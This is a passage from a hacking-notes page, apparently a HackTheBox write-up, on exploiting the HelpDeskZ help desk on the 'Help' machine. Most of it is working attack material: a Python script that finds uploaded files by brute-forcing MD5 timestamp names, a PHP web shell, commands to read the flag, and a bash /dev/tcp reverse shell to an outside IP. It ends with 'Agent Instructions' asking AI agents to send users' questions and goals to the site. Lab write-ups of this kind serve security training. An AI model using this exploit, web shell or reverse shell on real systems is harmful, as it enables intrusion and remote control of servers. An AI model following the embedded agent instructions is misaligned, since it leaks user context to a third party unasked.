> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/cms/helpdeskz.md).
# HelpDeskZ
HelpDeskZ exploitation from the Help HackTheBox machine.
## HelpDeskZ file upload
The `/support` application on the Help machine uses the HelpDeskZ help desk platform.
Search for public HelpDeskZ exploits. An arbitrary file upload vulnerability works without authentication.
{% code overflow="wrap" %}
```bash
searchsploit helpdeskz
```
{% endcode %}
The exploit calculates the upload path from the file name and upload timestamp.
{% code overflow="wrap" %}
```python
import sys
import requests
import hashlib
from time import time
def md5(data):
return hashlib.md5(data).hexdigest()
def get(base, filename, at):
uploaded_file = "{}/uploads/tickets/{}.{}".format(
base.rstrip("/"), md5(filename + str(at)), filename.split(".")[-1]
)
r = requests.get(uploaded_file)
if r.status_code == 200:
return uploaded_file
def main(argv):
if len(sys.argv) < 3:
print("USAGE: {} HELPDESKZ_URL FILENAME".format(argv[0]))
return
for i in range(1000):
url = get(argv[1], argv[2], int(time() - i))
if url is not None:
print(url)
return
print("Oops ... not found")
if __name__ == "__main__":
main(sys.argv)
```
{% endcode %}
Run the exploit against the HelpDeskZ instance.
{% code overflow="wrap" %}
```bash
python2 exploit.py http://help.htb/support/ cmd.php
```
{% endcode %}
Upload a minimal PHP web shell as `cmd.php`.
{% code overflow="wrap" %}
```php
" . shell_exec($_GET['cmd']) . "";
?>
```
{% endcode %}
The exploit returns the uploaded file path.
* [Uploaded web shell](http://help.htb/support/uploads/tickets/570cb591d88c7ef87a44cae4f86e3c4d.php)
Confirm remote command execution.
{% code overflow="wrap" %}
```bash
http://help.htb/support/uploads/tickets/570cb591d88c7ef87a44cae4f86e3c4d.php?cmd=id
```
{% endcode %}
Read the user flag.
{% code overflow="wrap" %}
```bash
?cmd=cat /home/help/user.txt
```
{% endcode %}
Start a listener for a reverse shell.
{% code overflow="wrap" %}
```bash
nc -nvlp 443
```
{% endcode %}
Execute the following command through the web shell.
{% code overflow="wrap" %}
```bash
bash -c "bash -i >%26 /dev/tcp/10.10.15.2/443 0>%261"
```
{% endcode %}
---
# Agent Instructions
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## Querying This Documentation
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Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/cms/helpdeskz.md?ask=&goal=
```
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`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
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